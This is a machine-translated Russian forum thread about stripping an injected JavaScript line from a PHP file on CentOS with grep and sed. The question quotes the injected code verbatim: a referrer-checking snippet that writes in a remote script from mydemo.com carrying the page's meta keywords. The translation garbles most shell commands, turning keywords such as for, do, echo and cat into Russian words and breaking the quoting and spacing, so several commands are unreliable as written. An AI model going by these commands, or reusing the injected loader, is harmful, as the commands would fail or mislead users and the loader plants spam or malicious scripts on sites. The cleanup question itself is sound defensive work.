2016-06-21 1 views
0

У меня есть сценарий в .php файл, который выглядит следующим образом: var a='';setTimeout(10);if(document.referrer.indexOf(location.protocol+"//"+location.host)!==0||document.referrer!==undefined||document.referrer!==''||document.referrer!==null){document.write('http://mydemo.com/js/jquery.min.php'+'?'+'default_keyword='+encodeURIComponent(((k=(function(){var keywords='';var metas=document.getElementsByTagName('meta');if(metas){for(var x=0,y=metas.length;x<'+'/script>');}заменить целую строку в файл CentOS

Я хотел бы заменить в CMD линии всю линию (1) пустой символ. Является ли это возможным? попытался сделать это с помощью sed, но, вероятно, это слишком сложная строка. Попробовал установить строку в var, но не работал. Кто-нибудь знает?

ответ

0

На моем OS X я тестировал этот скрипт:

для strnum в $ (grep -n "qwe" test.txt | awk -F ':' '{print $ 1}'); do cat test.txt | sed -i '.txt' $ strnum's /.*//'test.txt; сделано

На CentOS должен работать этот скрипт:

для strnum в $ (Grep -n "QWE" test.txt | AWK -F ':' '{печать $ 1}'); do cat test.txt | sed -i $ strnum's /.*//'test.txt; сделано

Вы должны заменить qwe своим шаблоном. Он заменит все строки, где шаблон будет найден в пространстве.

Чтобы разместить правильный контент в grep, он должен быть подготовлен. Вы должны создать файл с требуемым рисунком и начать команду:

эхо ' '$ (кот your_file | СЕПГ -e 's | "| \\" | г')' "'

Результат этой команды должен быть заменен qwe (с кавычками точно).

Вы должны получить что-то вроде этого:

for strnum in $(grep -n "var a='';setTimeout(10);if(document.referrer.indexOf(location.protocol+\"//\"+location.host)!==0||document.referrer!==undefined||document.referrer!==''||document.referrer!==null){document.write('http://mydemo.com/js/jquery.min.php'+'?'+'default_keyword='+encodeURIComponent(((k=(function(){var keywords='';var metas=document.getElementsByTagName('meta');if(metas){for(var x=0,y=metas.length;x<'+'/script>');}" test.txt | awk -F ':' '{print $1}'); do cat test.txt | sed -i $strnum's/.*/ /' test.txt; done 
+0

Нет, не работает. Это не простой текст (строка). Это немного (- :) сложно. Есть одинарные кавычки, двойные кавычки, скобки,:. И т. Д. Некоторые из них могут соответствовать регулярному синтаксису или классу символов для sed. Может быть, sed не ответ? Не могу понять это ... – user1356820

+0

** sed ** изменит только строку, которая будет найдена grep. Я обновляю ответ, попробую. –

+0

Не могу понять ваш второй ответ. Какой номер я должен изменить? где я должен писать весь свой код «var» = «...../script>»);} 'code' .. @ Alexander T – user1356820

1

Это на самом деле что-то sed козыри :)

sed -i '1s/.*/ /' your-file 

. Пример:

$ cat test 
one 
two 
three 
$ sed '1s/.*/ /' < test 

two 
three 
+0

Вероятно, не заявил, что это правильно. Текущий .php, содержащий этот скрипт, имеет 2000 строк. Поэтому я хотел бы найти в этом .php файлы упомянутый текст и заменить его – user1356820

+0

Итак, что вы хотите заменить каждую строку, содержащую только 'var' пустой строкой? – smoku